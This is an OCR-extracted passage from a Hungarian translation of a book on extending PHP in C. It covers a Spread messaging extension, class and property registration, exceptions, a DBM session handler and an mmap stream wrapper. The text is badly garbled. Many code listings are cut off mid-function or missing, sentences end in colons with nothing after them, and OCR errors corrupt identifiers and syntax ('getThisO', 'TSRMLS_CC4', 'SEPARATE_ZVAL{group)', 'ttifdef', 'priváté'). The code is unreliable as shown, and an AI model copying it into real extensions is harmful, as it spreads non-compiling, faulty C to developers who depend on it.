karakterláncot, vagyis a kapcsolat privát nevét (ami globálisan egyedi). A függvény vissza-
térési értékként egy kapcsolatot kell adjon - ez lehet egy már létező a le_pconn erőfor-
ráslistáról, vagy egy általa létrehozott új kapcsolat.
mailbox *mbox;
char private_group[MAX_GROUP_NAME];
584 PHP fejlesztés felsőfokon
char *hashed_details;
int hashed_details_length;
int rsrc_id;
list_entry *le;
Most végre elkészíthetjük régen várt függvényeinket is. Első művünk a spread_connect ()
lesz, ami az SP_connect () működését valósítja meg. Függvényünk valójában egy egyszerű
burkoló a connect () körül - egy Spread démon, valamint esetleg egy privát név paramétert
fogad. Ha ez utóbbit nem adják meg, akkor létrehoz egyet a végrehajtó folyamat azonosítója
alapján, és ezt használja. Lássuk, hogyan is fest ez a függvény:
PHP_FUNCTION(spread_connect)
{
char *spread_name = NULL;
char *private_name = NULL;
char *tmp = NULL;
int spread_name_len;
int private_name_len;
int rsrc_id;
Képesek vagyunk tehát kapcsolatok kiépítésére - valahogyan szét is kell azokat bontanunk.
A spread_disconnect () függvény megvalósításához érdemes kissé elszakadnunk az
erőforrások megsemmisítésének rendelkezésre álló rendszerétől. Ahelyett, hogy a Spread
kapcsolathoz tartozó mailbox-ot kibányásznánk az erőforrásból és az SP_disconnect ()
segítségével bezárnánk, tehetünk mást is: egyszerűen töröljük az erőforrást az erőforráslistá-
ból - műveletünk hatására működésbe lép az erőforrás bejegyzett megsemmisítő függvé-
nye, ami meghívja helyettünk az SP_disconnect () -et.
586 PHP fejlesztés felsőfokon
PHP_FUNCTION(spread_disconnect) {
zval **spread_conn;
mailbox *mbox;
int id = -1;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
"r", &spread_conn) == FAILURE) {
return;
}
zend_list_delete(Z_RESVAL_PP(spread_conn));
RETURN_TRUE;
}
PHP_FUNCTION(spread_join) {
zval **group, **mbox_zval;
int *mbox, sperrno;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rz",
mbox_zval, group) == FAILURE) {
return;
}
ZEND_FETCH_RESOURCE(mbox, int *, mbox_zval, -1,
"Spread-FD", le_conn);
SEPARATE_ZVAL(group);
if(Z_TYPE_PP(group) == IS_ARRAY) {
char groupnames[100][MAX_GROUP_NAME];
zval *tmparr, **tmp;
int n = 0;
int error = 0;
zend_hash_internal_pointer_reset(Z_ARRVAL_PP(group));
while(zend_hash_get_current_data(Z_ARRVAL_PP(group), (void **) &tmp)
== SUCCESS && n < 100) {
convert_to_string_ex(tmp);
if( (sperrno = SP_join(*mbox, Z_STRVAL_PP(tmp)) < 0) {
21. fejezet • A PHP bővítése: I. rész 587
PHP_FUNCTION(spread_multicast) {
zval **group = NULL;
zval **mbox_zval = NULL;
char *message;
int *mbox, service_type, mess_type, sperrno, message_length;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC4, "rlzls",
mbox_zval, service_type, group,
mess_type, &message, &message_length) == FAILURE)
{
return;
}
SEPARATE_ZVAL{group)
ZEND_FETCH_RESOURCE(mbox, int *, mbox_zval, -1, "Spread-FD", le_conn);
if(Z_TYPE_PP(group) == IS_ARRAY) {
char groupnames[100][MAX_GROUP_NAME];
zval *tmparr, **tmp;
int n = 0;
zend_hash_internal_pointer_reset(Z_ARRVAL_PP(group));
while(zend_hash_get_current_data(Z_ARRVAL_PP(group), (void **) &tmp)
== SUCCESS && n < 100) {
convert_to_string_ex(tmp);
memcpy(groupnames[n], Z_STRVAL_PP(tmp), MAX_GROUP_NAME);
n++;
zend_hash_move_forward (Z_ARRVAL_PP(group));
}
if((sperrno = SP_multigroup_multicast(*mbox, service_type,
n, (const char (*)[MAX_GROUP_NAME]) groupnames, mess_type,
message_length, message)) <0)
{
zend_error(E_WARNING, "SP_multicast error(%d)", sperrno);
RETURN_FALSE;
}
}
590 PHP fejlesztés felsőfokon
else {
convert_to_string_ex(group);
if (sperrno = (SP_multicast(*mbox, service_type,
Z_STRVAL_PP(group), mess_type,
message_length, message)) <0)
{
zend_error(E_WARNING, "SP_mulicast error(%d)", sperrno);
RETURN_FALSE;
}
}
RETURN_TRUE;
}
Megjegyzés
Érdemes megemlíteni, hogy a Spread ügyfeleknek nem kell feltétlenül csatlakozniuk
egyetlen csoporthoz sem ahhoz, hogy üzenetet küldhessenek - ez csak a fogadáshoz
szükséges. Amikor csatlakozunk egy csoporthoz, a Spreadnek tárolnia kell minden olyan
üzenetet, ami még nem jutott el hozzánk — ne dolgoztassuk feleslegesen.
Már csak az maradt hátra, hogy bejegyezzük függvényeinket. Először határozzuk meg
a függvénytáblát:
function_entry spread_functions[] = {
PHP_FE(spread_connect, NULL)
PHP_FE(spread_multicast, NULL)
PHP_FE(spread_disconnect, NULL)
PHP_FE(spread_join, NULL)
PHP_FE(spread_receive, NULL)
{NULL, NULL, NULL}
};
zend_module_entry spread_module_entry = {
STANDARD_MODULE_HEADER,
"spread",
spread_funct ions,
PHP_MINIT(spread),
NULL,
NULL,
NULL,
PHP_MINFO(spread),
"1.0",
21. fejezet • A PHP bővítése: I. rész 591
STANDARD_MODULE_PROPERTIES
};
ttifdef COMPILE_DL_SPREAD
ZEND_GET_MODULE(spread)
#endif
<?php
if(!extension_loaded("spread")) {
dl("spread.so") ;
}
class Spread_Logger {
public $daemon;
public $group;
priváté $conn;
<?php
?>
592 PHP fejlesztés felsőfokon
További olvasmányok
A PHP bővítményeinek készítésére vonatkozóan találhatunk némi olvasnivalót a PHP do-
kumentációjában a http: / /www.php. net/manuál/en/ zend. php címen. Jellemzi e
terület irodalmát az itt található beszédes cím: „Akik értik, nem beszélnek. Akik nem értik,
beszélnek." Fejezetünkben próbáltunk némi cáfolattal szolgálni.
Osztályok megvalósítása
A PHP 5 legnagyobb újdonsága a 4-es változathoz képest az új objektummodell volt, és
ennek megfelelően a bővítmények területén is az osztályok és az objektumok kezelésé-
ben állt be a legjelentősebb változás. A 21. fejezetben bemutatott eljárásközpontú bővít-
mény kódja szinte teljesen megfelel a PHP 4-nek. Ebben sokat segítenek a makrók, ame-
lyek lehetővé teszik a belső átírást anélkül, hogy a körülöttük levő kódot meg kellene vál-
toztatnunk. Az osztályok kódja azonban jelentősen különbözik a PHP 5-ös és 4-es válto-
zatában - és itt nemcsak a Zend Engine belső változásairól van szó, hanem az alapvető
nyelvi felépítésről is. Ez azt jelenti, hogy bár az osztályok létrehozásának egyes mozzana-
tai változatlanok maradtak, nagy részük jelentősen módosult.
struct _zend_class_entry {
char type;
char *name;
zend_uint name_length;
struct _zend_class_entry *parent;
int refcount;
zend__bool constants_updated;
zend_uint ce_flags;
HashTable function_table;
HashTable default_properties;
HashTable properties_info;
594 PHP fejlesztés felsőfokon
HashTable *static_members;
HashTable constants_table;
struct _zend_function_entry *builtin_functions;
zend_class_iterator_funcs iterator_funcs;
/* kezelők */
zend_object_value (*create_object)(zend_class_entry
*class_type TSRMLS_DC);
zend_object_iterator *(*get_iterator)
(zend_class_entry *ce, zval *object TSRMLS_DC);
int (*interface_gets_implemented)
(zend_class_entry *iface, zend_class_entry
*class_type TSRMLS_DC);
zend_class_entry **interfaces;
zend_uint num_interfaces;
char *filename;
zend_uint line_start;
zend_uint line_end;
char *doc_comment;
zend_uint doc_comment_len;
};
Nos, ez nem kicsi, bár szerencsénkre használatában sokat segítenek a makrók. Érdemes
észrevennünk a következőket:
Új osztály létrehozása
Ez egy üres osztály.
class Empty {}
Egy ilyen osztály létrehozásához csak pár egyszerű lépésre van szükség. Először is, a bő-
vítmény fő hatókörében hozzunk létre egy zend_class_entry mutatót - ebben jegyez-
zük majd be osztályunkat:
PHP_MINIT_FUNCTION(cárt)
{
zend_class_entry empty_ce;
INIT_CLASS_ENTRY(empty_ce, "Empty", NULL);
empty_ce_ptr = zend_register_internal_class(&empty_ce);
}
Az empty_ce itt egyszerűen egy tároló az osztály adatainak előkészítéséhez, mielőtt átad-
nánk a zend_register_internal_function () számára, ami bejegyzi az osztályt
a globális osztálytáblába, feltölti a tulajdonságokat, előkészíti a konstruktorokat, és elvégzi
a további szükséges teendőket.
Tulajdonságok hozzáadása
A PHP osztályok példánytulajdonságai lehetnek dinamikus tulajdonságok (ezek kizárólag
az adott példányhoz tartoznak), vagy alapértelmezett tulajdonságok (ez esetben az osz-
tályhoz tartoznak). Utóbbiak nem statikus tulajdonságok - minden példány rendelkezik
egy-egy másolattal belőlük. A dinamikus példánytulajdonságok meghatározása ugyanak-
kor nem szerepel az osztály meghatározásában - ezeket akkor hozzák létre, amikor az
objektum már létrejött.
class example {
public function _____ constructor()
{
$this->instanceProp = ' d e fa u l t ' ;
}
}
class example {
public $instanceProp = 'd efa ul t ';
}
class HasProperties {
public $public_property = ' d e fa u l t ' ;
public $unitialized_property;
protected $protected_property;
priváté $private_property;
}
22. fejezet • A PHP bővítése: II. rész 597
Túl ezen, osztályunk hagyományos PHP osztályként viselkedik akkor is, amikor öröklés-
ről vagy PPP-ről van szó. Mindehhez persze szükség van néhány segédfüggvény hathatós
közreműködésére:
mask
ZEND_ACC_STATIC
ZEND_ACC_ABSTRACT
ZEND_ACC_FINAL
ZEND_ACC_INTERFACE
ZEND_ACC_PUBLIC
ZEND_ACC_PROTECTED
ZEND_ACC_PRIVATE
Megjegyzés
A tisztább kód kedvéért az osztály bejegyzését egy segédfüggvényben különítettem el,
melyet a PHP_MINIT_FUNCTION () -bői hívunk meg. A jól kezelhető kód alapfeltétele
a tisztaság és az értelmes részekre osztás.
void register_HasProperties(TSRMLS_D)
{
zend_class_entry ce;
zval *tmp;
598 PHP fejlesztés felsőfokon
zend_declare_property_string(has_props_ptr,
"public_property", strlen("public_property"),
"default", ACC_PUBLIC);
zend_declare_property_null(has_props_ptr,
zend_declare_property_null(has_props_ptr, "uninitialized_property",
strlen("uninitialized_property"), ACC_PUBLIC) ;
zend_declare_property_null(has_props_ptr, "protected_property",
strlen("protected_property"), ACC_PROTECTED) ;
zend_declare_property_null(has_props_ptr, "private_property",
strlen("private_property"), ACC_PRIVATE);
}
PHP_MINIT_FUNCTION(example)
{
register_HasProperties(TSRMLS_CC);
}
Osztályöröklés
Ha egy osztályt egy másik örököseként szeretnénk bejegyeztetni, az alábbi függvényt kell
használnunk:
zend_class_entry *zend_register_internal_class_ex(zend_class_entry
*class_entry,
zend_class_entry *parent_ce,
char *parent_name TSRMLS_DC) ;
void register_ExampleException(TSRMLS_DC)
í
zend_class_entry *ee_ce;
zend_class_entry *exception_ce = zend_exception_get_default() ;
INIT_CLASS_ENTRY(ee_ce, "ExampleException", NULL);
example_exception_ptr =
zend_register_internal_class_ex(ee_ce, exception_ce, NULL TSRMLS_CC) ;
}
22. fejezet • A PHP bővítése: II. rész 599
PHP_MINIT_FUNCTION(example)
{
register_ExampleException(TSEMLS_CC);
}
Privát tulajdonságok
Az osztályok privát tulajdonságainak meghatározása kissé fura ügy, még ha ez ebben
a pillanatban nem is látszik. E tulajdonságok nem érhetők el az osztályon kívülről, illetve
a származtatott osztályokban, vagyis valóban belső használatra készültek. Ezért több értel-
me lenne itt C struktúrákat vagy saját típusokat használni. Hamarosan látjuk, miként adó-
dik erre mód.
Tagfüggvények hozzáadása
A tulajdonságok létrehozása után következő teendőnk a tagfüggvények létrehozása.
A PHP programozásában nyert tapasztalataink szerint a tagfüggvények csak kicsit többek
a függvényeknél. Ez a „kicsit több" azt jelenti, hogy hívási környezetük az osztályuk, to-
vábbá (amennyiben nem statikus tagfüggvényekről van szó) megkapják az éppen aktuális
objektumot. A bővítmények esetében az alapelvek ugyanezek. A bővítményi osztályok
tagfüggvényei belsőleg a zend_function típusban jelennek meg, meghatározásukra pe-
dig a ZEND_METHOD () makró ad lehetőséget.
Ez a scope osztály object objektuma name nevű tulajdonságának a value értéket adja.
A tömbökhöz hasonlóan itt is léteznek kényelmi függvények, melyek segítségével a tulaj-
donságok értékeit C alaptípusokkal adhatjuk meg. Lássuk, melyek ezek a függvények:
void zend_update_property_null(zend_class_entry *scope, zval *object,
char *name, int name_length TSRMLS_DC) ;
void zend_update_property_long(zend_class_entry *scope, zval *object,
char *name, int name_length,
long value TSRMLS_DC);
void zend_update_property_string(zend_class_entry *scope, zval *object,
char *name, int name_length,
char *value TSRMLS_DC);
A függvények működése megegyezik a korábban bemutatott zend_declare_property ()
függvényekével.
function num_items()
{
return count($this->items);
}
}
22. fejezet • A PHP bővítése: II. rész 601
PHP_FUNCTION(cart_numitems)
{
zval *object;
zval *items;
HashTable *items_ht;
object = getThisO;
items = zend_read_property(Z_OBJCE_P(object), object, "items",
strlen("items"), 1 TSRMLS_CC),
if(items) {
if(items_ht = HASH_OF(items)) {
RETURN_LONG(zend_hash_num_elements(items_ht));
}
}
RETURN_FALSE;
}
void register_cart()
{
zend_class_entry ce;
INIT_CLASS_ENTRY(ce, " C á r t " , cart_methods);
cart_ce_ptr = zend_register_internal_class(*ce TSRMLS_CC);
zend_declare_property_null(has_props_ptr, "items",
strlen("items"), ACC_PUBLIC);
}
PHP_MINIT_FUNCTION(cárt)
{
register_cart();
}
602 PHP fejlesztés felsőfokon
Konstruktőrök hozzáadása
A tagfüggvények elnevezésében különleges esetet jelent a konstruktőr, a destruktor és
a klón. A felhasználói PHP kódokhoz hasonlóan itt is a_____ construct,______destruct, il-
letve __ clone neveket kapják.
Ezen kívül e függvények semmiben nem tűnnek ki a többi közül. Az alábbi konstruktőr
lehetővé teszi, hogy egy objektumot adjunk át a Cárt osztálynak:
class Cárt {
public $items;
ZEND_METHOD(cart, __ construct)
{
zval *object;
zval *items;
zval *item;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &item)
== FAILURE) {
return;
}
object = getThisO;
MAKE_STD_ZVAL(items);
array_init(items);
add_next_index_zval(items, item);
zend_declare_property(Z_OBJCE_P(object), object, "items",
strlen("items"),
items, ZEND_ACC_PUBLIC TSRMLS_CC);
}
22. fejezet • A PHP bővítése: II. rész 603
Kivételek kiváltása
Ha jó hibakezelő rendszerre van szükségünk, bővítményeinknek is képessé kell válnia ki-
vételek kiváltására. Persze sokak számára ez nem ennyire egyértelmű, hiszen a PHP fej-
lesztők körében folyamatosan vitáznak azon, hogy érdemes-e a bővítményekben kivétele-
ket használni. Leggyakrabban az az ellenérvek alapja, hogy nem feltétlenül szerencsés
a fejlesztőket bizonyos kódolási módszerekre kényszeríteni. A legtöbb bővítmény saját
használatra készül. A kivételek nagyszerű segítséget adhatnak, így ha szeretjük őket
a PHP kódban használni, a bővítményekben se tartsuk vissza magunkat ettől.
Az Exception osztályból származó kivétel kiváltása igen egyszerű feladat. Legjobban ak-
kor járunk, ha az alábbi segédfüggvényt használjuk:
Alkalmazásánál meg kell adnunk egy osztályt (exception_cé), egy üzenetet (message)
és egy kódot {code). Az alábbiakban egy Exception objektumot váltunk ki kivételként:
Létezik továbbá egy kényelmi függvény, amely lehetővé teszi az üzenet karakterláncának
formázását:
Figyeljük meg, hogy a code most az első helyen szerepel, míg a zend_throw__excep-
tion () message paramétere helyett a formát és meghatározatlan számú paraméter áll.
Az alábbi kódsorban egy kivételt váltunk ki, amely megadja a megfelelő fájl nevét és a hibás
sor számát a C forráskódban:
zend_throw_exception_ex(zend_exception_get_default(), 1,
"Exception at % s : % d " , ___ FILÉ__ ,____ LINE__ ) ;
A PHP 5-ben az általános objektumokat a zend_object típus jeleníti meg., tárolásuk pe-
dig egy globális objektumtárolóban történik. A getThis () hívásakor a rendszer megke-
resi az objektumtárban az objektumhoz tartozó zval-ban tárolt azonosítót. Ez az objek-
tumtár azonban nem csak zend_object típusokat tartalmazhat, hanem tetszőleges adat-
szerkezetet. Ez két okból is hasznos számunkra:
írjuk most át a 21. fejezetben megismert Spread modult úgy, hogy az erőforrások kezelése
helyett az objektumban tárolja a kapcsolatazonosítókat. A szokásos zend_object szer-
kezet helyett itt az alábbi adatszerkezetet használjuk:
typedef struct {
mailbox mbox;
zend_object zo;
} spread_object;
Amennyiben e szerkezetben memóriát foglalunk, vagy bármi olyasmit teszünk, ami után
rendet kell csinálni, szükségünk lesz egy destruktorra - nem is beszélve anól, hogy magu-
kat az objektumszerkezeteket is fel kell számolnunk. íme a lehető legegyszerűbb destruktor:
Szükségünk van továbbá egy klónfüggvényre is, amely megadja, miként viselkedjen az
objektum a_____clone () tagfüggvény hívásakor. Az, hogy saját create_object kezelőt
készítünk, egyértelművé teszi, hogy objektumunk nem szabványos típusú, így a rendszer
megköveteli mindkét függvény megadását - a motor nem képes megállapítani, milyen
alapértelmezett viselkedést követhetne. Lássuk a Spread bővítmény klónfüggvényét:
*intern_clone = emalloc(sizeof(spread_object));
(*intern_clone)->zo.ce = intern->zo.ce;
(*intern_clone)->zo.in_get = 0;
(*intern_clone)->zo.in_set = 0;
ALLOC_HASHTABLE((*intern_clone)->zo.properties);
(*intern_clőne)->mbox = intern->mbox;
}
Szükségünk van még a create_object függvényre is. Ennek működése igencsak ha-
sonlít a clone függvényére - lefoglal egy új spread_object szerkezetet, és beállítja.
Az eredményként kapott objektum pedig bekerül az objektumtárba a destruktorral és
a klónkezelővel egyetemben.
memcpy(&spread_object_handlers,
zend_get_std_object_handlers(),
sizeof(zend_object_handlers));
intern = emalloc(sizeof(spread_object));
intern->zo.ce = class_type;
intern->zo.in_get = 0;
intern->zo.in_set = 0;
ALLOC_HASHTABLE(intern->zo.properties);
zend_hash_init(intern->zo.properties, 0, NULL, ZVAL_PTR_DTOR, 0);
retval.handlé = zend_objects_store_put(intern,
spread_objects_dtor,
spread_objects_clone);
retval.handlers = &spread_object_handlers;
return retval;
}
22. fejezet • A PHP bővítése: II. rész 607
Ezek után, az osztály bejegyzésénél ezt az új create_obj ect függvényt kell megadnunk:
void register_spread()
{
zend_class_entry ce;
ZEND_METHOD(spread, disconnect)
{
spread_object *sp_obj;
mailbox mbox;
sp_obj = (spread_object *)
zend_object_store_get_object(getThis() TSRMLS_CC);
mbox = sp_obj->mbox;
sp_disconnect(mbox);
sp_obj->mbox = -1;
}
Gyártófüggvények használata
A 2. fejezetben láthattuk, hogy a Gyár minta sok esetben hasznunkra válhat. Esetünkben
egy gyártófüggvény egyszerűen egy statikus osztálytagfüggvényt takar, ami egy új objek-
tumot ad vissza. íme egy gyártófüggvény, amely egy új Spread objektumot hoz létre:
PHP_FUNCTION(spread_factory)
{
spread_object * intern;
Z_TYPE_P(return_value) = IS_OBJECT;
object_init_ex(return_value, spread_ce_ptr);
608 PHP fejlesztés felsőfokon
return_value->refcount = 1;
return_value->is_ref = 1;
return;
}
$obj = spread_factory();
...ehelyett:
Osztálykonstruktorok elrejtése
Előfordulhat, hogy rá szeretnénk venni a felhasználókat a konstruktőr használatára, meg-
akadályozva a közvetlen példányosítást a new segítségével. A felhasználói PHP kódhoz
hasonlóan ezt a legegyszerűbben úgy oldhatjuk meg, ha bejegyzünk egy konstruktőrt és
privát tagfüggvénnyé alakítjuk. Ez lehetetlenné teszi a közvetlen példányosítást.
ZEND_BEGIN_ARG_INFO(argument_list, pass_by_ref)
ZEND_END_ARG_INFO()
Ez a blokk meghatározza a paraméterek listáját, valamint azt, hogy ezek átadása hivatko-
zás szerint történjék-e. A blokk belsejében a paraméterek rendezett listája jelenik meg, az
alábbi alakú elemekkel:
interface Foo {
function bar($argl, $arg2);
function baz(&argl);
}
ZEND_BEGIN_ARG_INFO(bar_args, 0)
ZEND_ARG_INFO(0, argl)
ZEND_ARG_INFO(0, arg2 )
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO(baz_args, 0)
ZEND_ARG_INFO(1, argl)
ZEND_END_ARG_INFO()
PHP_MINIT_FUNCTION(example)
{
zend_class_entry ce;
INIT_CLASS_ENTRY(ce, "Foo", foo_functions)
foo_interface = zend_register_internal_interface(&ce TSRMLS_CC);
return SUCCESS;
}
A PS_MOD () makró automatikusan bejegyez hat függvényt, melyeket meg kell valósítanunk:
typedef struct {
DBM *conn;
char *path;
} ps_dbm;
Lássuk a PS_OPEN_FUNC () függvényt, ami nem tesz mást, mint előkészíti a ps_dbm szer-
kezetet, és visszaadja a munkameneti bővítménynek a mod_dat a-ban:
PS_OPEN_FUNC(dbm)
{
ps_dbm *data;
data = emalloc(sizeof(ps_dbm));
memset(data, 0, sizeof(ps_dbm));
data->path = estrndup(save_path, strlen(save_path));
*mod_data = data;
return SUCCESS;
}
void **mod_data;
Ez ugyanaz a mod_data, amely a kérelem folyamán már megvolt, így minden lényeges
munkameneti adatot tartalmaz. Az alábbiakban láthatjuk a PS_CLOSE () szerkezetét, amely
lezár minden nyitott DBM kapcsolatot, és felszabadítja a PS_OPEN () -ben lefoglalt memóriát:
PS_CLOSE_FUNC(dbm)
{
ps_dbm *data = PS_GET_MOD_DATA();
if(data->conn) {
dbm_close(data->conn);
data->conn = NULL;
}
if(data->path) {
efree(data->path);
data->path = NULL;
}
return SUCCESS;
}
612 PHP fejlesztés felsőfokon
PS_READ_FUNC(dbm)
{
dátum dbm_key, dbm_value;
A dátum a kulcs-érték párok tárolására szolgáló GDBM/NDBM típus. Figyeljük meg, hogy
az olvasó eljárásnak semmit sem kell tudnia arról, milyen adatok haladnak át rajta
- a munkameneti bővítmény maga gondoskodik a sorosításról.
PS_WRITE_FUNC(dbm)
{
dátum dbm_key, dbm_value;
PS_DESTROY_FUNC(dbm)
{
dátum dbm_key;
ps_dbm *data = PS_GET_MOD_DATA();
if(!data->conn) {
if((data->conn = dbm_open(data->path, 0_CREATI0_RDWR, 0640))
== NULL) {
return FAILURE;
}
}
dbm_key.dptr = (char *)key;
dbm_key.dsize = strlen(key);
614 PHP fejlesztés felsőfokon
if(dbm_delete(data->conn, dbm_key)) {
return FAILURE;
}
return SUCCESS;
}
PS_GC_FUNC(dbm)
{
return SUCCESS;
}
PHP_MINIT_FUNCTION(session_dbm)
{
php_session_register_module(&ps_mod_dbm);
return SUCCESS;
}
session.save_handler=dbm
Sok webhely esetében tapasztalható, hogy szinte minden oldal működése munkamenetek
használatára támaszkodik, így a munkamenetek kezelése gyakran számottevő többletterhet
jelent, különösen felhasználói kezelők esetén. Mindez, az API egyszerűségével együtt, nagy-
szerű teljesítményfokozási lehetőségeket ígér a C munkamenet-kezelők alkalmazásával.
22. fejezet • A PHP bővítése: II. rész 615
A folyamkezelő API
A folyamkezelő API a PHP egyik figyelemreméltó fejlesztése, amely mindenféle bemeneti-
kimeneti elérést és a PHP bemeneti-kimeneti függvényeit egyetlen elvonatkoztatási réteggel
burkolja be. A folyamok használatának alapvető célja, hogy minden PHP-beli bemeneti-ki-
meneti műveletnek azonos általános felületet biztosítsunk, így az f open (), az f reád (), az
fwrite (), az f close () és az f stat () működjön, bármilyen módon is érjük el a fájlt (a
helyi fájlrendszeren, a HTTP-n vagy az FTP-n keresztül). Az API jelenléte lehetővé teszi,
hogy bejegyezzünk egy protokolltípust, megadjuk bizonyos egyszerű műveletek működési
módját, és így a PHP bemeneti-kimeneti függvényei itt is elérhetők legyenek.
return file_get_contents("http://www.advanced-php.com/");
php_stream *stream;
char *buffer;
int alloced = 1024;
int len = 0 ;
A fenti kód első látásra hosszúnak tűnhet, de ne feledjük, hogy ez a függvény az égvilá-
gon semmit nem tud arról, miként nyithat meg egy HTTP kapcsolatot, vagy hogyan
olvashat adatokat egy hálózati csatolóról. Az ezt megvalósító eljárások a folyamkezelő
API kulisszái mögött rejtőznek, és a megfelelő protokollburkolót a rendszer kitalálja
a php_stream_open_wrapper () függvénynek átadott URL-ből.
PHP_FUNCTION(url_fopen)
{
php_stream *stream;
char *url;
long url_length;
char *flags;
int flags_length;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss",
&url, &url_length,
&flags, &flags_length) = = FAILURE) {
return;
}
stream = php_stream_open_wrapper(url, flags, REPORT_ERRORS, NULL);
if ( !stream) {
RETURN_FALSE;
}
php_stream_to_zval(stream, return_value);
}
Megjegyzés
Az alábbi program leginkább bemutatási célokat szolgál. Az url_f open () segítségével
megnyitott folyam szabványos, így az általa visszaadott erőforrásra alkalmazhatjuk az egy-
szerű f gets () függvényt is.
PHP_FUNCTION(url_fgets)
{
php_stream *stream;
zval *stream_z;
int 1;
char buffer[1024];
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
"z", &stream_z) == FAILURE) {
return;
}
22. fejezet • A PHP bővítése: li. rész 617
php_stream_from_zval(stream, &stream_z);
if(!php_stream_eof(stream)) {
1 = php_stream_gets(stream, buffer, sizeof(buffer));
}
RETURN_STRINGL(buffer, 1, 1);
}
Gondolhatunk úgy ezekre a műveletekre, mintha egy felületet határoznának meg. Amennyi-
ben egy burkoló teljesen megvalósítja ezt a felületet, a PHP szabványos bemeneti-kimeneti
függvényei képesek lesznek együttműködni vele. Számomra a folyamkezelési felületek az
objektumközpontú programozás nagyszerű példáját adják. Mindössze néhány függvényt kell
egy API-hoz elkészítenünk, és protokolljaink képessé válnak az együttműködésre a PHP-vel,
továbbá befolyásolhatjuk a teljes PHP bemeneti-kimeneti függvénykönyvtárat.
<?php
$mm = mmap_open("/dev/zero", 65536);
fwrite($mm, "Hello World\n");
rewind($mm);
echó fgets($mm);
?>
618 PHP fejlesztés felsőfokon
Meg kell tehát nyitnunk a /dev/zero eszközt, le kell képeznünk az mmap () segítségé-
vel, és ezután egyszerű fájlként elérhetjük.
A php_stream adattípus tartalmaz egy abstract nevű tulajdonságot - egy elvont muta-
tót, ami a folyam megvalósításra jellemző adatait tárolhatja. A folyam megvalósításának el-
ső lépése, hogy egy megfelelő adattípust hozzunk létre a memórialeképezésű fájl megje-
lenítésére. Mivel az mmap () egy fájlleírót és egy rögzített hosszadatot fogad, majd egy me-
móriacímet ad a fájl eléréséhez, legalábbis a memóriaszegmens kezdőcímét és hosszát
tudnunk kell. Az mmap () által foglalt szegmensek rögzített hosszúságúak, és nem szabad
túllépnünk a határaikat. A folyamoknak tudniuk kell továbbá aktuális helyzetüket a táro-
lóban (hogy lehetőség nyíljon többszöri olvasásra, írásra és lépkedésre), így követnünk
kell ezt a helyzetet is. Az mmap_stream_data tartalmazza ezeket az adatokat, így nagy-
szerűen betölti az elvont folyamadattípus szerepét a példánkban. A szerkezet így fest:
struct mmap_stream_data {
void *base_pos;
void *current_pos;
int len;
>;
A write függvény visszatérési értéke a sikeresen beírt bájtok száma. Lássuk hát az
mmap_write () megvalósítását:
if (close_handle) {
munmap (data->base__pos, data->len) ;
}
efree(data);
return 0;
}
Ahhoz, hogy egy folyamot bejegyezzünk a megnyitási függvényben, először létre kell
hoznunk egy php_stream_ops szerkezetet, ami megadja a korábban megvalósított hor-
gok neveit. Az mmap folyamok esetében ez így fest:
php_stream_ops mmap_ops = {
mmap_write, /* írás */
mmap_read, /* olvasás */
mmap_close, /* bezárás */
mmap_flush, /* kiírás */
"mmap stream", /* a folyam típusának neve */
mmap_seek, /* keresés */
NULL, /* cast */
NULL, /* stat */
NULL /* set option */
};
PHP_FUNCTION(mmap_open)
{
char *filename;
622 PHP fejlesztés felsőfokon
long filename_len;
long file_length;
int fd;
php_stream * stream;
void *mpos;
<?php
$mm = mmap_open("/dev/zero" , 1024);
fwrite($mm, "Hello World\n");
rewind($mm);
echó fgets($mm);
?>
22. fejezet • A PHP bővítése: II. rész 623
A korábbiakban már találkoztunk az alábbi kóddal, ami egy URL-t nyit meg:
php_stream_open_wrapper
("http://www.advanced-php.com","rb",REPORT_ERRORS,NULL);
$fp = fopen("http://www.advanced-php.com");
<?php
$mm = fopen("mmap:///dev/zero:65536") ;
fwrite($mm, "Hello World\n");
rewind($mm) ;
echó fgets($mm);
?>
php_stream_wrapper_ops mmap_wops = {
mmap_open,
NULL, NULL, NULL, NULL,
"mmap wrapper"
};
A burkoló műveleteinek meghatározása után el kell készítenünk magát a burkolót is. Ezt
a php_stream_wrapper szerkezettel tehetjük meg:
php_stream_wrapper mmap_wrapper = {
&mmap_wops, /* a burkoló által végezhető műveletek */
NULL, /* a burkoló elvont környezete */
0 /* hálózati URL? (a z fopen_url_allow számára) */
};
624 PHP fejlesztés felsőfokon
• A fiiename a teljes URI-t tartalmazza, így el kell távolítanunk a cím elején álló
mmap: / / karakterláncot.
• A méretet az mmap: / / Ipa th:si ze alakból szeretnénk kiolvasni. Ha ezt nem kap-
juk meg, a stat () -ot kell alkalmaznunk a fájlon a méret meghatározására.
filename += sizeof("mmap://") - 1;
if(tmp = strchr(filename, ' : ' ) ) {
22. fejezet • A PHP bővítése: II, rész 625
Nem maradt más hátra, mint bejegyezni ezt a függvényt a motorban - helyezzünk el hát
egy bejegyző horgot az MINIT függvényben:
PHP_MINIT_FUNCTION(mmap_session)
{
php_register_url_stream_wrapper("mmap", &mmap_wrapper TSRMLS_CC);
}
626 PHP fejlesztés felsőfokon
PHP_MSHUTDOWN_FUNCTION(mmap_session)
{
php_unregister_url_stream_wrapper("mmap" TSRMLS_CC);
}
• Tartalomtömörítés
• HTTP 1.1 darabolt kódolás, illetve visszafejtés
• Folyamkódolás az mcrypt segítségével
• Üreshelyek kezelése
A folyamkezelő API számos igen hasznos lehetőséget biztosít azáltal, hogy segítségével
a háttérben átírhatjuk a PHP összes belső bemeneti-kimeneti függvényét. A fejlesztői tár-
sadalom még csak most ismerkedik a lehetőségekkel, így a következő években sok kelle-
mes meglepetésben lehet részünk e téren.
További olvasmányok
Az osztályok és folyamok kezelésére meglehetősen kevés utalást találhatunk a hivatalos
PHP dokumentációban. A legtöbbet talán úgy tanulhatunk, ha elmélyedünk a forráskó-
dokban. Az objektumközpontú bővítményekhez az alábbiak nyújthatnak némi segítséget:
A C-beli PHP bővítmények készítése mellett írhatunk olyan C alkalmazásokat is, amelyek
PHP kódokat futtatnak. Erre több okunk is lehet:
A SAPI-król
